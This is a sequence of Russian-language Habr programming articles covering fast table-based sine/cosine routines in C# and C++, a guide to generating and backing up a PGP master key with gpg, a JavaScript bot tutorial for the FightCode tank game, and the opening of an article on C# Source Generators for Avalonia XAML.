0.158858143333861442, 0.170961888760301226, 0.183039887955140959,
0.195090322016128268, 0.20711137619221855, 0.219101240156869797,
0.23105810828067112, 0.24298017990326389, 0.254865659604514572,
0.266712757474898386, 0.278519689385053105, 0.290284677254462368,
0.302005949319228067, 0.313681740398891477, 0.325310292162262934,
0.336889853392220051, 0.348418680249434568, 0.359895036534988149,
0.371317193951837543, 0.382683432365089772, 0.393992040061048109,
0.405241314004989871, 0.416429560097637183, 0.427555093430282094,
0.438616238538527638, 0.4496113296546066, 0.460538710958240024,
0.471396736825997649, 0.482183772079122749, 0.492898192229784037,
0.503538383725717559, 0.514102744193221727, 0.524589682678468906,
0.534997619887097211, 0.545324988422046422, 0.555570233019602225,
0.565731810783613197, 0.575808191417845301, 0.58579785745643886,
0.595699304492433343, 0.605511041404325514, 0.615231590580626845,
0.624859488142386377, 0.634393284163645498, 0.643831542889791465,
0.653172842953776764, 0.662415777590171761, 0.671558954847018401,
0.680600997795453051, 0.689540544737066925, 0.698376249408972854,
0.707106781186547524, 0.715730825283818654, 0.724247082951466921,
0.732654271672412835, 0.740951125354959091, 0.749136394523459325,
0.757208846506484548, 0.765167265622458926, 0.773010453362736961,
0.780737228572094478, 0.788346427626606262, 0.795836904608883536,
0.80320753148064491, 0.810457198252594792, 0.817584813151583697,
0.824589302785025264, 0.831469612302545237, 0.838224705554838043,
0.844853565249707073, 0.851355193105265142, 0.85772861000027207,
0.863972856121586738, 0.870086991108711419, 0.876070094195406607,
0.88192126434835503, 0.887639620402853948, 0.89322430119551532,
0.898674465693953843, 0.903989293123443332, 0.909167983090522377,
0.914209755703530655, 0.919113851690057744, 0.923879532511286756,
0.928506080473215566, 0.932992798834738888, 0.937339011912574923,
0.941544065183020778, 0.945607325380521326, 0.949528180593036667,
0.953306040354193837, 0.956940335732208865, 0.960430519415565811,
0.963776065795439867, 0.966976471044852109, 0.970031253194543993,
0.972939952205560145, 0.975702130038528544, 0.978317370719627633,
0.980785280403230449, 0.983105487431216327, 0.985277642388941245,
0.987301418157858382, 0.989176509964780973, 0.990902635427780025,
0.992479534598709998, 0.993906970002356042, 0.995184726672196886,
0.996312612182778013, 0.997290456678690216, 0.998118112900149207,
0.998795456205172393, 0.999322384588349501, 0.99969881869620422,
0.999924701839144541, 1}
```
Значения синуса и косинуса из неё получаются в зависимости от того, индексировать её с начала в конец или наоборот. Стоит уточнить, что здесь по факту размер получается на единицу больше, то есть 129 (из-за замыкающей единицы для ). Сам же размер как степень двойки выбран для того, чтобы избежать потери точности при умножении на него аргумента и обеспечить табличную точность в значениях  (что может быть полезным в алгоритмах быстрого преобразования Фурье). В случае если аргумент синуса удобнее задавать в других единицах — скажем, в градусах — то размер таблицы разумно делать кратным 90, чтобы получать максимально точные значения при целых значениях аргумента.
**Версия для C#**
```
double[] sincostable = {...};
void SinCos(double x, out double sina, out double cosa)
{
x *= 0.63661977236758134308; // 2/Pi
bool sign = x < 0.0;
x = sign ? -x : x;
int xf = (int)x;
x -= xf;
bool rev = (xf & 1) == 1;
if (rev)
x = 1 - x;
bool per = ((xf >> 1) & 1) == 1;
double z = x * 128;
int zf = (int)z;
z -= zf;
double sint = sincostable[zf];
double cost = sincostable[128 - zf];
double zz = z * z;
double ss = z * (0.012271846303085128928 + zz * (-3.0801968454884792651e-7 +
2.3193461291439683491e-12 * zz));
double cc = 1.0 - zz * (0.000075299105843272081 + zz*(-9.449925567834354484e-10 +
4.7437807891647010749e-15 * zz));
sina = (sign ^ per) ? -sint * cc - cost * ss : sint * cc + cost * ss;
cosa = (rev ^ per) ? sint * ss - cost * cc : cost * cc - sint * ss;
}
```
**Версия для C/C++**
```
const double sincostable[] = {...};
void SinCosByTable(double x, double* sina, double* cosa)
{
x *= 0.63661977236758134308; // 2/Pi
int sign = x < 0.0;
x = sign ? -x : x;
int xf = (int)x;
x -= xf;
int rev = xf & 1;
if (rev)
x = 1 - x;
int per = (xf >> 1) & 1;
double z = x * 128;
int zf = (int)z;
z -= zf;
double sint = sincostable[zf];
double cost = sincostable[128 - zf];
double zz = z * z;
double ss = z * (0.012271846303085128928 + zz * (-3.0801968454884792651e-7 +
2.3193461291439683491e-12 * zz));
double cc = 1.0 - zz * (0.000075299105843272081 + zz * (-9.449925567834354484e-10 +
4.7437807891647010749e-15 * zz));
*sina = (sign ^ per) ? -sint * cc - cost * ss : sint * cc + cost * ss;
*cosa = (rev ^ per) ? sint * ss - cost * cc : cost * cc - sint * ss;
}
```
Табличный метод можно использовать и по-другому — только для синуса, если разбить интервал  на несколько и хранить в ней коэффициенты аппроксимирующих многочленов небольшой степени для каждого из них по отдельности. Но таким образом не получится сэкономить за счёт чётности/нечётности функций — и для многочлена скажем 5-ой степени придётся хранить и вычислять все 6 коэффициентов — что не даст прироста в производительности, но зато может дать несколько дополнительных бит точности.
▍ Как тестировать
-----------------
Когда речь идёт о реализации с меньшей точностью, то можно сравнивать значения с библиотечной реализацией и таким образом считать максимальное отклонение. Однако на точности близкой к double такой подход не прокатит — поскольку библиотечные реализации тоже имеют погрешности. Можно экспортировать значения в Wolfram Mathematica, но это сложнее и имеет свои тонкости, поскольку преобразование числа в формате double к текстовому десятичному виду также может искажать значения младших бит; или же можно экспортировать стороннюю библиотеку с заведомо большей точностью и сравнивать результаты уже в ней. Однако есть и другой путь — считать какую-нибудь функцию, значение которой можно посчитать аналитически, и сравнивать с этим значением полученный результат. У какой реализации будет наименьшее отклонение — та и точнее.
Хорошим кандидатом для этого является функция, суммирующая квадраты синусов с аргументами, равномерно распределённых в диапазоне от  до . Возведение в квадрат позволяет избежать ситуации, когда положительные отклонения в значениях будут компенсироваться отрицательными. Ну а аналитическим результатом такого суммирования будет не что иное, как  (сюрприз), то есть:
Для косинуса получается похожий результат:
**Примечание**
Любители математики могут попробовать доказать эти равенства самостоятельно — я же их получил просто используя функцию FullSimplify в Mathematica.
Также нужно учитывать, что некоторые современные оптимизирующие компиляторы (в частности C++ от Intel и Microsoft) могут распознать сумму и вычислять её в 4 параллельных потоках на регистрах AVX, что при замерах производительности может показать значительное превосходство библиотечных реализаций (да, я столкнулся с этим). Чтобы этого избежать, можно на каждом этапе менять знак (то есть считать функцию ), аналитическим результатом которой будет ноль (для ). Но такой подход подойдёт только для замера производительности и оценить погрешность по отклонению результата от нуля уже не получится — поскольку будет происходить взаимная компенсация погрешностей.
Можно рассмотреть и другие сценарии — например, вращать единичный вектор через комплексное умножение, который должен вернуться в исходное состояние, или же выполнять прямое и обратное FFT, и сравнивать полученный результат с исходным — но здесь мы не будем на этом подробно останавливаться, поскольку выбор корректного метода тестирования сильно зависит от конкретной цели использования.
**Вариант тестирования для C#**
using System;
using System.Diagnostics;
…
```
long count = (long)1e9;
Stopwatch sw = new Stopwatch();
double sum, secs;
sum = 0.0;
sw.Restart();
for (long i = -count; i <= count; i++)
{
double x = (double)i * Math.PI / count;
double y = Math.Sin(x);
sum += y * y;
}
secs = sw.ElapsedMilliseconds / 1000.0;
Console.WriteLine("mathsin\t{0}\t{1}", secs, sum - count);
...
// повторить для других реализаций
```
**Вариант тестирования для C/C++**
```
#define _USE_MATH_DEFINES
#include
#include
...
long n = (long)1e9;
double sum;
double sign;
sum = 0;
sign = 1;
clock\_t t = clock();
for (long i = -n; i <= n; i++)
{
double x = (double)i \* M\_PI / n;
double y = sin(x);
sum += y \* y \* sign;
sign = -sign;
sign = -sign;
}
t = clock() - t;
std::cout << "mathsin: dur: " << double(t) / CLOCKS\_PER\_SEC << ", " << sum - n << endl;
...
// повторить для других реализаций
```
В варианте для C/C++ добавлено немного бесполезных вычислений во избежание автоматической векторизации. Также по-хорошему его можно реализовать на шаблонах, чтобы не дублировать одинаковые куски кода для разных функций.
В обоих случаях время измеряется в секундах с точностью до миллисекунд. Сделано это для того, чтобы привести результаты к общему знаменателю и не зависеть от платформо-зависимых средств и отсутствующем в си std::chrono. Ну и заодно стимулировать выполнять код достаточно долго, чтобы накопилось хотя бы несколько секунд.
▍ Заключение и результаты
-------------------------
При замерах производительности все рассмотренные реализации оказались быстрее библиотечных и на C#, и на C++ с компилятором от Microsoft. На C++ была дополнительно протестирована функция fsincos из математического сопроцессора FPU процессоров x86/x64, которая тоже умеет считать и синус, и косинус одновременно.
Сводная таблица по результатам замеров на Core i7:
| | | | |
| --- | --- | --- | --- |
| реализация \ ускорение (в разы) | C# (.NET 4.8) | C++ (VS2019) | C++ vs. C# |
| библиотечная | 1 | 1 | 2.8 |
| Sin7 | 6.06 | 2.07 | 1.09 |
| Sin13 | 4.08 | 1.25 | 1.1 |
| SinCos | 2.62 | 1.21 | 1.3 |
| fsincos (FPU) | - | 0.28 | - |
Последний столбец показывает отношение между одними и теми же функциями — как видно, разница не такая уж и значительная (не считая библиотечных реализаций). Также можно заметить, что С++ более эффективно работает с таблицами (что тоже вполне ожидаемо). А вот ассемблерная fsincos показала наихудший результат — даже несмотря на её аппаратную реализацию.
Как обстоят дела с множеством других компиляторов и платформ — это тема отдельного исследования, которым, если честно, заниматься совсем не хочется. Но было бы интересно увидеть результаты от другого независимого источника.
Измерения точности с накоплениями погрешностей также дали вполне ожидаемый результат и на больших  разницы в реализациях не было (за исключением Sin7) — сказывалось накопление погрешностей уже от самого суммирования квадратов. Можно было, конечно, использовать алгоритм суммирования Кэхэна — но это имело бы смысл лишь в том случае, если использовать его и в реальных задачах тоже.
Насколько скорость рассмотренных реализаций стоит нескольких дополнительных бит погрешности — каждый решает сам для себя самостоятельно. Однако лично я сам думаю, что если погрешность в несколько последних бит имеет критически важное значение — то точности double тут явно недостаточно и нужно переходить на другие типы данных. Также для увеличения точности вычислений можно использовать специальные техники — но это тема уже для отдельной статьи.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Refridgerator&utm_content=kak_poschitat_sinus_bystree_vsex_na_xabre) | https://habr.com/ru/post/584460/ | null | ru | null |
# Защита целостности кода с помощью PGP. Часть 2. Создание мастер-ключа
Перед вами перевод второй части серии материалов, посвящённых защите целостности кода с помощью PGP. [В прошлый раз](https://habrahabr.ru/company/ruvds/blog/349618/) мы разобрали основы PGP, а сегодня поговорим о том, как создавать 4096-битные мастер-ключи RSA, и о том, как их защищать.
[](https://habrahabr.ru/company/ruvds/blog/350028/)
Ключи RSA
---------
### ▍Контрольный список
Вот какие навыки вы должны освоить после того, как разберётесь с материалами этого раздела:
1. Создание 4096-битного мастер-ключа RSA (Важно).
2. Создание резервной копии мастер-ключа на бумаге (Важно).
3. Подбор и добавление к мастер-ключу подходящих идентификационных данных (Важно).
Пояснения
---------
### ▍Что такое мастер-ключ (сертифицирующий ключ)
В этом и следующем разделах мы будем говорить о так называемых «мастер-ключах» и «подключах». Рассматривая эти виды ключей, важно понимать следующее:
1. Между мастер-ключом и подключами, в техническом смысле, нет никакой разницы.
2. Во время создания ключей задают их функциональные ограничения, назначая им специфические возможности.
3. У PGP-ключей могут быть четыре возможности:
* [S] Ключ может быть использован для подписывания данных.
* [E] Ключ может быть использован для шифрования.
* [A] ключ может быть использован для аутентификации.
* [C] ключ может быть использован для сертифицирования других ключей.
4. У одного ключа может быть несколько возможностей.
Ключ, имеющий возможность [C] (сертифицирующий) считается мастер-ключом, так как это единственный ключ, который может быть использован для работы с другими ключами.
Только сертифицирующий ключ может быть использован для выполнения следующих действий:
* Добавление или отзыв других ключей (подключей) с возможностями S/E/A.
* Добавление, изменение или отзыв идентификационных данных (UID), связанных с ключом.
* Установка или изменение даты истечения срока действия самого этого ключа или любого подключа.
* Подписывание ключей других людей для целей формирования сети доверия.
В мире свободного программного обеспечения ключ [C] — это ваше цифровое удостоверение личности. После того, как вы создали этот ключ, вам нужно уделить особое внимание его защите, и тому, чтобы не дать ему попасть в руки злоумышленников.
### ▍Действия, выполняемые перед созданием мастер-ключа
Прежде чем вы создадите свой мастер-ключ, вам нужно выбрать свои основные идентификационные данные и ключевую фразу.
### ▍Основные идентификационные данные
Идентификационные данные — это строка, использующая тот же формат, что и поле `From` в электронных письмах:
```
Alice Engineer
```
Вы можете создавать новые наборы идентификационных данных, отзывать старые и менять основные идентификационные данные в любое время. Так как основной набор идентификационных данных показывается при выполнении всех операций GnuPG, вам следует выбрать и указать ваше имя, и, возможно, должность, а также адрес электронной почты, которые относятся к вашей профессиональной деятельности и с наибольшей долей вероятности будут использованы для обмена данными с использованием PGP. Например, это может быть адрес вашей рабочей электронной почты, или тот, который вы используете для регистрации коммитов на GitHub.
### ▍Ключевая фраза
Ключевая фраза (её ещё называют «фраза-пароль») используется исключительно для шифрования закрытого ключа с помощью симметричного алгоритма при сохранении этого ключа на диск. Если содержимое вашей директории `.gnupg` когда-нибудь попадёт в руки злоумышленника, хорошая ключевая фраза станет последней линией обороны между ним и его возможностью выдавать себя за вас в сети. Именно поэтому важно использовать хорошую ключевую фразу.
Надёжная ключевая фраза состоит из 3-4 слов, причём желательно, чтобы слова из неё нельзя было найти в словаре. Она не должна являться цитатой из широко известных источников (не стоит использовать в качестве ключевой фразы слова из песен, книг, рекламных лозунгов какой-нибудь компании). Вы будете использовать ключевую фразу довольно часто, поэтому она должна быть ещё и такой, чтобы вам было легко её запомнить и удобно вводить с клавиатуры.
### ▍Алгоритм и стойкость ключа
GnuPG уже некоторое время поддерживает шифрование, основанное на эллиптических кривых, но мы пока будем придерживаться использования ключей RSA. Хотя можно применять и ключи ED25519, вероятно, вам встретятся программные инструменты и устройства, которые не смогут с ними нормально работать.
Кроме того, у вас может возникнуть вопрос о том, почему мастер-ключ имеет длину 4096 бит, если широко известно, что и 2048-битных ключей хватает для любых нужд, и такие ключи ещё долго не потеряют актуальности. Причина использования 4096-битных ключей, в основном, относится к социальной, а не к технической сфере. Всё дело в том, что другие разработчики могут отнестись к вам с некоторым недоверием, если в вашем мастер-ключе будет меньше битов, чем в их мастер-ключе.
### ▍Создание мастер-ключа
Для того чтобы создать мастер-ключ, выполните следующую команду, поместив ваши данные вместо данных условного пользователя Alice Engineer:
```
$ gpg --quick-generate-key 'Alice Engineer ' rsa4096 cert
```
После выполнения этой команды появится диалоговое окно с предложением ввести фразу-пароль. Затем, возможно, вам понадобится подвигать мышью или понажимать какие-нибудь клавиши на клавиатуре для того, чтобы система могла накопить достаточно энтропии для завершения работы команды.
Посмотрите на то, что выведет команда. Вы увидите примерно следующее:
```
pub rsa4096 2017-12-06 [C] [expires: 2019-12-06]
111122223333444455556666AAAABBBBCCCCDDDD
uid Alice Engineer
```
Обратите внимание на длинную последовательность символов во второй строке. Это — полный отпечаток только что созданного ключа. Идентификаторы ключей могут быть представлены в трёх различных формах:
* Отпечаток (fingerprint) — полный 40-символьный идентификатор ключа.
* Длинная форма (long) — последние 16 символов отпечатка (AAAABBBBCCCCDDDD).
* Краткая форма (short) — последние 8 символов отпечатка (CCCCDDDD).
Следует избегать использования коротких 8-символьных идентификаторов ключей, так как они недостаточно уникальны.
В этот момент рекомендуется открыть текстовой редактор, скопировать отпечаток ключа и вставить его туда. Вам понадобится использовать его для выполнения нескольких следующих шагов, поэтому удобно будет держать его под рукой.
### ▍Резервная копия мастер-ключа
Для аварийного восстановления ключа, и особенно, если вы намереваетесь использовать сеть доверия и собирать сигнатуры ключей других разработчиков проекта, вам нужно создать надёжную копию вашего секретного ключа, перенеся его на бумагу. Бумажная копия рассматривается как последний шанс восстановления ключа на тот случай, если все остальные механизмы резервного копирования уже бесполезны.
Лучший способ создания копии секретного ключа, подходящей для печати, заключается в использовании программы Paperkey, которая разработана специально для этой цели. Эта программа доступна во всех дистрибутивах Linux, в Mac её можно установить командой `brew install paperkey`. Выполните следующую команду, заменив `[fpr]` на полный отпечаток вашего ключа:
```
$ gpg --export-secret-key [fpr] | paperkey -o /tmp/key-backup.txt
```
Тот файл, который получится в результате этой команды, после распечатки, подходит для систем оптического распознавания текста или для ручного ввода, если возникнет необходимость восстановить ключ. Этот файл следует распечатать, затем взять ручку и написать где-нибудь на поле листа бумаги ключевую фразу. Это важный шаг, так как распечатанный ключ зашифрован ключевой фразой, и если вы когда-нибудь её измените, то вы гарантированно, не сможете вспомнить исходную ключевую фразу.
Положите распечатку с записанной на ней ключевой фразой в конверт и поместите всё это в надёжное место, желательно — вне вашего жилища, например — в банковскую ячейку.
Обратите внимание на принтер, на котором вы будете распечатывать бумажную резервную копию ключа. Давно прошли те времена, когда принтеры были примитивными устройствами, подключаемыми к параллельным портам компьютеров. В наши дни у принтеров имеются полноценные операционные системы, жёсткие диски, интеграция с облачными службами. Так как данные ключа, которые мы отправляем на печать, зашифрованы с помощью ключевой фразы, распечатку можно считать довольно-таки безопасной операцией, однако, тут лучше перестраховаться, чем недосмотреть.
### ▍Добавление идентификационных данных
Если у вас есть несколько адресов электронной почты, которыми вы активно пользуетесь (личный и рабочий адреса, адрес, применяемый в некоем опенсорсном проекте, и так далее), вам следует добавить их к вашему мастер-ключу. Вам не нужно делать это для любых адресов, которые вы не планируете использовать с PGP (скажем, для адреса, который вам выдали, когда вы где-то учились). Ниже показана команда для добавления идентификационных данных к ключу. Здесь `[fpr]` надо заменить на отпечаток вашего ключа:
```
$ gpg --quick-add-uid [fpr] 'Alice Engineer '
```
Просмотреть уже добавленные к ключу UID можно следующей командой:
```
$ gpg --list-key [fpr] | grep ^uid
```
### ▍Выбор основного набора идентификационных данных
GnuPG автоматически сделает последний добавленный набор идентификационных данных главным, поэтому если вам нужно что-то другое, вы можете воспользоваться такой командой:
```
$ gpg --quick-set-primary-uid [fpr] 'Alice Engineer '
```
Итоги
-----
Из этого материала вы узнали о ролях ключей PGP, том, как сгенерировать мастер-ключ, как надёжно сохранить резервную копию этого ключа, и как назначить основные идентификационные данные ключа. В следующий раз поговорим о подключах.
**Уважаемые читатели!** Как вы храните резервные копии ваших мастер-ключей?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/350028/ | null | ru | null |
# FightCode: танковые войны на JavaScript
[FightCode](http://fightcodegame.com/) — это онлайн-игра для программистов, построенная по образу и подобию классической [Robocode](http://habrahabr.ru/post/59784/). Для программирования танков используется JavaScript, все сражения происходят прямо в браузере, а редактор кода на сайте имеет встроенную «песочницу», которая позволяет в реальном времени видеть эффект от изменений кода. В отличие от многих других подобных игр, создатели неплохо поработали над дизайном — игровое поле и весь сайт в целом выглядят привлекательно и ярко.
Всё это делает FightCode одним из лучших вариантов для новичков в подобных играх или для обучения программированию. Проект довольно молодой, и несмотря на то, что на сайте зарегистрировано почти 9000 игроков, пробиться в первую сотню рейтинга можно без особых усилий. Очень удобно организована система боёв со случайными соперниками — из всех доступных роботов автоматически выбираются те, чей рейтинг близок к вашему. Очки считаются по [системе Эло](http://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%B9%D1%82%D0%B8%D0%BD%D0%B3_%D0%AD%D0%BB%D0%BE) — победа над более сильным противником даёт гораздо больше очков, чем над слабым.
Каждый участник может иметь сколько угодно роботов. Создание нового робота начинается с примитивного шаблона, который не делает почти никаких осмысленных действий. Добавив обработчики основных событий, таких как столкновения или попадания вражеского снаряда можно дать роботу набор «безусловных рефлексов», которые сделают его поведение более целесообразным и послужат отправной точкой для дальнейшего развития.
Для начала пара слов об игровом мире и правилах игры. Роботы воюют на плоском прямоугольном поле. Игровой мир двухмерен, так что перелётов или недолётов снаряда здесь не бывает. Танки играют один на один, но каждый игрок может создать «клон» своего танка, который имеет меньше здоровья и погибает если убит его родитель.
Танки могут двигаться вперёд и назад, поворачиваться, вращать башней и стрелять. Отдельного радара, как в Robocode, нет. Основной игровой цикл задаётся в обработчике события "`onIdle`". Когда в поле зрения башни попадает танк, происходит событие "`onScannedRobot`", при столкновении со стеной — "`onWallCollision`", и так далее (полное [описание API](http://beta.fightcodegame.com/docs/) есть на сайте).
Код робота по умолчанию выглядит так:
```
var Robot = function(robot) {
};
Robot.prototype.onIdle = function(ev) {
var robot = ev.robot; // получаем текущий экземпляр робота
robot.ahead(100); // проходим сто единиц вперёд
robot.rotateCannon(360); // осматриваемся
robot.back(100); // проходим сто единиц назад
robot.rotateCannon(360); // снова осматриваемся
};
// Стреляем во всё, что шевелится
Robot.prototype.onScannedRobot = function(ev) {
var robot = ev.robot;
robot.fire();
};
```
В первую очередь научим нашего робота не терять цель после первого же выстрела. Скорострельность робота ограничена, поэтому он успевает повернуть башню между выстрелами на несколько градусов и потерять цель из вида. Поэтому заставим его немного покрутить башней вправо-влево. Заодно это позволит не промахнуться по движущейся цели:
```
Robot.prototype.onScannedRobot = function(ev) {
var r = ev.robot; // сокращаем robot до r, так как это имя нам придётся набирать буквально в каждой строке
r.fire();
r.rotateCannon(10); // 10 градусов вправо
r.rotateCannon(-20); // 20 влево
};
```
Теперь наш робот умеет держать цель. Прежде чем двигаться дальше, подключим немного магии. У робота в запасе есть два волшебных трюка: он может создавать свой клон и ненадолго становиться невидимым для противника. Клон мы создадим сразу же — лишняя огневая мощь и отвлекающая цель для врага полезны с самого начала игры:
```
Robot.prototype.onIdle = function(ev) {
var r = ev.robot;
r.clone(); // этот метод создаёт клона
r.rotateCannon(360);
...
// как только нас засекли - включаем маскировку
Robot.prototype.onHitByBullet = function(ev) {
var r = ev.robot;
r.disappear();
...
```
Следующий шаг — научим робота не стрелять по своим. По умолчанию он палит во всё, что попадается ему на глаза, включая собственного клона или родителя. Чтобы отучить его от этого, нужно перед стрельбой проверять, кто перед нами. Делается это с помощью свойств `id` и `parentId`:
```
Robot.prototype.onScannedRobot = function(ev) {
var r = ev.robot;
// Если мы видим собственный клон или своего родителя, то выходим, ничего не делая
if (ev.scannedRobot.parentId == r.id || ev.scannedRobot.id == r.parentId) {
return;
}
r.fire();
...
```
Теперь сделаем нашего робота чуть более подвижным и научим его стрелять в движении. Самый простой способ — во время стрельбы двигаться по кругу. Роботы начального уровня не умеют стрелять с упреждением, так что наворачивая круги, большую часть снарядов противника мы пропустим мимо себя независимо от того, с какой стороны в нас стреляют. Для этого будем после каждого выстрела слегка поворачивать корпус робота и проезжать немного вперёд:
```
Robot.prototype.onScannedRobot = function(ev) {
var r = ev.robot;
if (ev.scannedRobot.parentId == r.id || ev.scannedRobot.id == r.parentId) {
return;
};
r.fire();
r.turn(10); // вместо башни теперь поворачиваем весь танк
r.rotateCannon(-20);
r.ahead(15); // проезжаем чуть-чуть вперёд
};
```
И ещё один нюанс — событие `onScannedRobot` происходит, как только «луч радара» пересекается с краем танка противника. Так как большую часть времени мы крутим башню вправо, то снаряды летят в левый край цели и часто пролетают мимо. Чтобы бить точнее, будем перед выстрелом доворачивать башню на пару градусов вправо:
```
Robot.prototype.onScannedRobot = function(ev) {
var r = ev.robot;
if (ev.scannedRobot.parentId == r.id || ev.scannedRobot.id == r.parentId) {
return;
}
r.rotateCannon(2); // пара градусов вправо
r.fire();
r.turn(8); // 10 минус 2 градуса вправо
r.rotateCannon(-20)
r.ahead(15);
};
```
Вместо того чтобы бесполезно ездить вперёд-назад на одном месте, заставим танк активно двигаться по полю. Это поможет избежать ситуаций, когда мы в одном углу, противник в другом, снаряды летят через всё поле и практически никогда не попадают. Будем двигаться всё время вперёд, и не на 100, а на 150 единиц. Кроме того, будем немного менять курс, чтобы быть менее предсказуемыми:
```
Robot.prototype.onIdle = function(ev) {
var r = ev.robot;
r.clone();
r.rotateCannon(360);
r.ahead(150);
r.turn(30);
r.ahead(150);
};
```
Последние штрихи — чтобы не застревать, наткнувшись на стену или другой танк, напишем обработчики событий столкновения. Чтобы не сбивать прицел, если мы столкнулись во время стрельбы, и не терять время на поворот, будем просто отъезжать немного назад. Как правило, этого достаточно, ведь робот большую часть времени кружится и не будет несколько раз упираться в одно и то же место, а если и будет, это довольно неплохой манёвр уклонения от вражеских снарядов:
```
Robot.prototype.onWallCollision = function(ev) {
var r = ev.robot;
r.back(50);
};
Robot.prototype.onRobotCollision = function(ev) {
var r = ev.robot;
r.back(30);
};
```
Наш робот начального уровня готов! Он ещё очень глуп, зато в нём всего около 40 строк кода. При этом он ведёт себя на поле боя достаточно агрессивно и подвижно, нигде не застревает и не зацикливается и довольно уверенно побеждает всех тестовых роботов из песочницы. В реальном бою он, если повезёт, может побить противника с рейтингом 1700. Все значения углов и расстояний в коде подобраны эмпирически.
**Полный код нашего робота**
```
//FightCode can only understand your robot
//if its class is called Robot
var Robot = function(r) {
};
Robot.prototype.onIdle = function(ev) {
var r = ev.robot;
r.clone();
r.rotateCannon(360);
r.ahead(150);
r.turn(30);
r.ahead(150);
};
Robot.prototype.onScannedRobot = function(ev) {
var r = ev.robot;
if (ev.scannedRobot.parentId == r.id || ev.scannedRobot.id == r.parentId) {
return;
};
r.rotateCannon(2);
r.fire();
r.turn(8);
r.rotateCannon(-20);
r.ahead(15);
};
Robot.prototype.onHitByBullet = function(ev) {
var r = ev.robot;
r.disappear();
};
Robot.prototype.onWallCollision = function(ev) {
var r = ev.robot;
r.back(50);
};
Robot.prototype.onRobotCollision = function(ev) {
var r = ev.robot;
r.back(30);
};
``` | https://habr.com/ru/post/174461/ | null | ru | null |
# Генерация типизированных ссылок на элементы управления Avalonia с атрибутом x:Name в XAML с помощью C# Source Generators
В апреле 2020-го года разработчиками платформы .NET 5 [был анонсирован](https://habr.com/ru/post/503172/) новый способ генерации исходного кода на языке программирования C# — с помощью реализации интерфейса [`ISourceGenerator`](https://docs.microsoft.com/en-us/dotnet/api/microsoft.codeanalysis.isourcegenerator?view=roslyn-dotnet). Данный способ позволяет разработчикам анализировать пользовательский код и [создавать новые исходные файлы](https://blog.jetbrains.com/dotnet/2020/11/12/source-generators-in-net-5-with-resharper/) на этапе компиляции. При этом, API новых генераторов исходного кода схож с API [анализаторов Roslyn](https://habr.com/ru/post/455952/). Генерировать код можно как с помощью [Roslyn Compiler API](https://blog.zwezdin.com/2013/code-generating-with-roslyn/), так и методом конкатенации обычных строк.
В данном материале рассмотрим процесс реализации `ISourceGenerator` для генерации типизированных ссылок на элементы управления [AvaloniaUI](http://avaloniaui.net/), объявленные в XAML. В процессе разработки научим генератор компилировать XAML с помощью API компилятора [XamlX](https://github.com/kekekeks/xamlx), используемого в [AvaloniaUI](https://github.com/avaloniaui/avalonia), и системы типов XamlX, реализованной поверх API [семантической модели Roslyn](https://docs.microsoft.com/en-us/dotnet/csharp/roslyn-sdk/get-started/semantic-analysis).
### Постановка задачи
С помощью новых генераторов исходного кода может получиться элегантно решить широкий спектр задач, включая генерацию шаблонного кода, который было бы не очень интересно и совсем не продуктивно писать вручную. Например, в приложениях, использующих [AvaloniaUI](http://avaloniaui.net/) — фреймворк для разработки кроссплатформенных приложений с графическим интерфейсом, о котором недавно [вышла статья на Хабре](https://habr.com/ru/company/skbkontur/blog/524518/) — нередко приходится писать следующий код для получения ссылки на элемент управления, объявленный в XAML:
```
private TextBox PasswordTextBox => this.FindControl("PasswordTextBox");
```
Элемент типа `TextBox` с именем `PasswordTextBox` при этом объявлен в XAML следующим образом:
Получать ссылку на элемент управления в XAML может понадобиться в случае необходимости применения анимаций, программного изменения стилей и свойств элемента управления, или использования кроссплатформенных типизированных привязок данных ReactiveUI, таких, как [`Bind`](https://www.reactiveui.net/docs/handbook/data-binding/#types-of-bindings), [`BindCommand`](https://www.reactiveui.net/docs/handbook/data-binding/#types-of-bindings), [`BindValidation`](https://github.com/reactiveui/reactiveui.validation), позволяющих связывать компоненты View и ViewModel без использования синтаксиса `{Binding}` в XAML-разметке.
```
public class SignUpView : ReactiveWindow
{
public SignUpView()
{
AvaloniaXamlLoader.Load(this);
// Привязки данных ReactiveUI и ReactiveUI.Validation.
// Можно было бы схожим образом использовать расширение разметки Binding,
// но некоторые разработчики предпочитают описывать биндинги в C#.
// Почему бы не облегчить им (и многим другим) жизнь?
//
this.Bind(ViewModel, x => x.Username, x => x.UserNameTextBox.Text);
this.Bind(ViewModel, x => x.Password, x => x.PasswordTextBox.Text);
this.BindValidation(ViewModel, x => x.CompoundValidation.Text);
}
// Шаблонный код для типизированного доступа к именованным
// элементам управления, объявленным в XAML.
TextBox UserNameTextBox => this.FindControl("UserNameTextBox");
TextBox PasswordTextBox => this.FindControl("PasswordTextBox");
TextBlock CompoundValidation => this.FindControl("CompoundValidation");
}
```
Код геттеров свойств, позволяющих получить типизированный доступ к элементам управления из XAML-файла, соответствующего `SignUpView`, выглядит шаблонным. Было бы неплохо научиться генерировать этот код, чтобы, с одной стороны, избежать многословности, а с другой стороны — чтобы избежать возможных ошибок и опечаток в имени элемента управления, объявленного в XAML, или в имени его типа.
Если мы будем всё время писать код, как в примере выше, вручную, нам придётся самостоятельно следить за изменениями имён и типов в XAML-файле, и в случае ошибки мы узнаем о том, что что-то пошло не так, только после запуска приложения. Если бы мы генерировали ссылки некоторым способом, об ошибках и опечатках мы бы узнавали уже на этапе компиляции, и тратили бы меньше времени на отладку нашего кроссплатформенного приложения (как, впрочем, и на написание таких геттеров).
### Пример входных и выходных данных
Мы ожидаем, что на вход наш генератор исходного кода будет получать два файла. Для компонента представления с именем `SignUpView`, данными файлами будут являться XAML-разметка `SignUpView.xaml`, и code-behind файл `SignUpView.xaml.cs`, содержащий логику пользовательского интерфейса. Например, для файла разметки пользовательского интерфейса `SignUpView.xaml`:
```
```
Содержимое файла `SignUpView.xaml.cs` будет выглядеть следующим образом:
```
public partial class SignUpView : Window
{
public SignUpView()
{
AvaloniaXamlLoader.Load(this);
// Мы хотим иметь доступ к типизированным элементам управления вот здесь,
// чтобы, например, писать код наподобие вот такого:
UserNameTextBox.Text = "Violet Evergarden";
UserNameValidation.Text = "An optional validation error message";
}
}
```
А сгенерированное содержимое `SignUpView.xaml.cs` должно будет выглядеть следующим образом:
```
partial class SignUpView
{
internal global::Avalonia.Controls.TextBox UserNameTextBox =>
this.FindControl("UserNameTextBox");
internal global::Avalonia.Controls.TextBlock UserNameValidation =>
this.FindControl("UserNameValidation");
}
